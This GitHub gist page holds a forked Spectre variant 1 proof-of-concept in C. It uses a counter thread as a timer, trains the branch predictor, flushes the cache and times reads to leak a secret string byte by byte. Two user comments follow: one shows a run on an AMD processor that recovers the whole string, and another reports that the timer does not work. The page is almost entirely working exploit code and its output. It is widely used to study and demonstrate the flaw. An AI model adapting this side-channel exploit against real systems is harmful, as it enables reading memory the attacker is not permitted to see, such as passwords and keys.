Skip to content

Instantly share code, notes, and snippets.

@LionsAd
Forked from ErikAugust/spectre.c
Last active February 21, 2019 17:42
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save LionsAd/5116c9cd37f5805c797ed16fafbe93e4 to your computer and use it in GitHub Desktop.
Save LionsAd/5116c9cd37f5805c797ed16fafbe93e4 to your computer and use it in GitHub Desktop.
Spectre example code - using threads and showing detailed statistics
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Thread code
********************************************************************/
int counter_thread_ended = 0;
uint32_t counter = 0;
void *counter_function(void *x_void_ptr)
{
while (!counter_thread_ended) {
counter++;
}
printf("counter thread finished\n");
return NULL;
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (60) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
static uint64_t time[256];
static uint64_t num_time[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint32_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++) {
results[i] = 0;
time[i] = 0;
num_time[i] = 0;
}
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = counter; /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
time[mix_i] += time2;
num_time[mix_i]++;
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
for (i = 0; i < 256; i++) {
printf("Average time for %d: %f, hits: %d\n", i, (double) (time[i] / num_time[i]), results[i]);
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];
// Setup the counter thread.
pthread_t counter_thread;
if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
// End Setup
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
// Start: Exit counter thread
counter_thread_ended = 1;
if (pthread_join(counter_thread, NULL)) {
fprintf(stderr, "Error joining thread\n");
return 2;
}
// End: Exit counter thread
return (0);
}
@neko-neko-nyan
Copy link

vendor_id       : AuthenticAMD
cpu family      : 22
model           : 48
model name      : AMD A4-7210 APU with AMD Radeon R3 Graphics
stepping        : 1
microcode       : 0x7030105

Compile: gcc spectre.c -o spectre, #define CACHE_HIT_THRESHOLD 70

Reading 40 bytes:                                                       
Reading at malicious_x = 0xffffffffffdfee48... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfee49... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee4a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee4b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee4c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfee4d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee4e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee4f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee50... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee51... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee52... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee53... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfee54... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee55... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfee56... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee57... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee58... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee59... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee5a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee5b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee5c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfee5d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfee5e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfee5f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee60... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee61... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfee62... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee63... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee64... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee65... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee66... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfee67... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee68... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee69... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee6a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfee6b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee6c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee6d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee6e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee6f... Success: 0x2E=’.’ score=2

@Yay295
Copy link

Yay295 commented Jan 5, 2018

I can't get this to work. counter seems to be being cached, so I get the same value for the read before and after, and time2 is always 0.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment